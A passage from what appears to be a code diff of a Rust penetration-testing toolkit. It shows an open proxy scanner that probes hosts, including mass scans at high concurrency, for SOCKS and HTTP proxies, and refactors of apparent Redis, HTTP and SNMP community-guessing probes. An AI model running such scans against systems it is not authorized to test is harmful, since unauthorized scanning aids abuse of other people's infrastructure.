}
}
/// Check for HTTP transparent/forward proxy.
async fn check_http_forward(ip: IpAddr, port: u16, dur: Duration) -> Option<ProxyHit> {
let addr = format!("{}:{}", ip, port);
let mut stream = crate::utils::network::tcp_connect(&addr, dur).await.ok()?;
let req = format!(
"GET http://{}/ip HTTP/1.1\r\nHost: {}\r\nConnection: close\r\n\r\n",
CONNECT_HOST, CONNECT_HOST
);
timeout(dur, stream.write_all(req.as_bytes())).await.ok()?.ok()?;
let mut buf = [0u8; 2048];
let n = timeout(dur, stream.read(&mut buf)).await.ok()?.ok()?;
let resp = String::from_utf8_lossy(&buf[..n]);
if resp.starts_with("HTTP/") && resp.contains("200") && resp.contains("origin") {
Some(ProxyHit { port, kind: "HTTP Forward", detail: "transparent proxy (forwards requests)".to_string() })
} else {
None
}
}
/// Probe all proxy types on a single port.
async fn probe_port(ip: IpAddr, port: u16, dur: Duration) -> Vec<ProxyHit> {
let mut hits = Vec::new();
// Try SOCKS5 first (fastest detection)
if let Some(h) = check_socks5(ip, port, dur).await { hits.push(h); return hits; }
// SOCKS4
if let Some(h) = check_socks4(ip, port, dur).await { hits.push(h); return hits; }
// HTTP CONNECT
if let Some(h) = check_http_connect(ip, port, dur).await { hits.push(h); return hits; }
// HTTP Forward
if let Some(h) = check_http_forward(ip, port, dur).await { hits.push(h); return hits; }
hits
}
// ============================================================================
// MAIN
// ============================================================================
fn display_banner() {
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!("{}", "| Open Proxy Scanner |".cyan());
crate::mprintln!("{}", "| HTTP CONNECT | SOCKS4 | SOCKS5 | HTTP Forward |".cyan());
crate::mprintln!("{}", "+=================================================================+".cyan());
crate::mprintln!();
}
pub async fn run(target: &str) -> Result<()> {
// --- Mass scan ---
if is_mass_scan_target(target) {
let ports_input = cfg_prompt_default("ports", "Ports to scan", DEFAULT_PORTS).await?;
let ports = parse_ports(&ports_input);
return run_mass_scan(target, MassScanConfig {
protocol_name: "ProxyScan",
default_port: 8080,
state_file: "proxy_scan_mass_state.log",
default_output: "proxy_scan_mass_results.txt",
default_concurrency: 500,
}, move |ip: IpAddr, _port: u16| {
let ports = ports.clone();
async move {
let dur = Duration::from_secs(5);
let mut lines = Vec::new();
for &p in &ports {
let hits = probe_port(ip, p, dur).await;
for h in hits {
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
lines.push(format!("[{}] {}:{} {} ({})", ts, ip, h.port, h.kind, h.detail));
crate::mprintln!("\r{}", format!("[+] {}:{} {}{}", ip, h.port, h.kind, h.detail).green().bold());
}
}
if lines.is_empty() { None } else { Some(lines.join("\n") + "\n") }
}
}).await;
}
// --- Single target ---
display_banner();
let ports_input = cfg_prompt_default("ports", "Ports to scan", DEFAULT_PORTS).await?;
let ports = parse_ports(&ports_input);
let timeout_ms: u64 = cfg_prompt_default("timeout", "Timeout (ms)", "5000").await?.parse().unwrap_or(5000);
let dur = Duration::from_millis(timeout_ms);
crate::mprintln!("[*] Target: {}", target.yellow());
crate::mprintln!("[*] Ports: {:?}", ports);
crate::mprintln!("[*] Timeout: {}ms", timeout_ms);
crate::mprintln!();
let ip: IpAddr = resolve_target(target)?;
let mut found = Vec::new();
for &port in &ports {
crate::mprintln!("[*] Probing {}:{}...", ip, port);
let hits = probe_port(ip, port, dur).await;
if hits.is_empty() {
crate::mprintln!(" {}", format!("[-] {}:{} — no proxy detected", ip, port).dimmed());
}
for h in &hits {
crate::mprintln!(" {}", format!("[+] {}:{}{} ({})", ip, h.port, h.kind, h.detail).green().bold());
}
found.extend(hits);
}
crate::mprintln!();
if found.is_empty() {
crate::mprintln!("{}", "[-] No open proxies found.".yellow());
} else {
crate::mprintln!("{}", format!("[+] {} proxy(ies) found:", found.len()).green().bold());
crate::mprintln!();
crate::mprintln!(" {:<8} {:<25} {}", "Port".bold(), "Type".bold(), "Detail".bold());
crate::mprintln!(" {}", "-".repeat(60).dimmed());
for h in &found {
crate::mprintln!(" {:<8} {:<25} {}", h.port, h.kind.green(), h.detail);
}
}
crate::mprintln!();
Ok(())
}
fn parse_ports(input: &str) -> Vec<u16> {
input.split(',')
.filter_map(|s| s.trim().parse::<u16>().ok())
.filter(|&p| p > 0)
.collect()
}
fn resolve_target(target: &str) -> Result<IpAddr> {
target.parse::<IpAddr>().or_else(|_| {
use std::net::ToSocketAddrs;
format!("{}:0", target).to_socket_addrs()
.map_err(|e| anyhow!("Cannot resolve {}: {}", target, e))?
.next()
.map(|sa| sa.ip())
.ok_or_else(|| anyhow!("No addresses for {}", target))
})
}
+1 -2
View File
@@ -147,9 +147,8 @@ pub async fn run(target: &str) -> Result<()> {
crate::mprintln!();
crate::mprintln!("{}", format!("[*] Connecting to {}...", addr).bold());
let mut stream = timeout(timeout_dur, tokio::net::TcpStream::connect(&addr))
let mut stream = crate::utils::network::tcp_connect(&addr, timeout_dur)
.await
.context("Connection timed out")?
.context("Failed to connect to Redis")?;
// Step 1: PING
+3 -6
View File
@@ -378,12 +378,9 @@ fn parse_port_list(input: &str) -> Result<Vec<u16>> {
async fn mass_scan_probe(ip: &str, port: u16) -> Option<String> {
let addr = format!("{}:{}", ip, port);
let stream = timeout(Duration::from_secs(3), TcpStream::connect(&addr))
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(3))
.await
.ok()?
.ok()?;
let mut stream = stream;
let request = format!(
"GET / HTTP/1.1\r\nHost: {}\r\nConnection: close\r\n\r\n",
ip
@@ -417,8 +414,8 @@ async fn probe_service(target: &str, port: u16, timeout_secs: u64) -> Option<Ser
let addr = format!("{}:{}", target, port);
let dur = Duration::from_secs(timeout_secs);
let stream = match timeout(dur, TcpStream::connect(&addr)).await {
Ok(Ok(s)) => s,
let stream = match crate::utils::network::tcp_connect(&addr, dur).await {
Ok(s) => s,
_ => return None,
};
+1 -1
View File
@@ -77,7 +77,7 @@ impl Statistics {
errors.to_string().red(),
rate
);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
}
fn print_final(&self) {
+1 -1
View File
@@ -288,7 +288,7 @@ pub async fn run(target: &str) -> Result<()> {
for community in &communities {
crate::mprint!(" [*] Testing '{}' ... ", community);
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
match test_community(&socket, &addr, community, OID_SYS_DESCR, *ver_byte, timeout_dur).await {
Ok(Some(sys_descr)) => {
+1 -1
View File
@@ -524,7 +524,7 @@ impl ProgressTracker {
"[*] Progress: {}/{} ({:.1}%) | {:.0} probes/sec | ETA: {:.0}s",
self.current, self.total, pct, rate, eta
).cyan());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush error: {}", e); }
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { crate::meprintln!("[!] Flush error: {}", e); }
if self.current == self.total {
crate::mprintln!();

Some files were not shown because too many files have changed in this diff Show More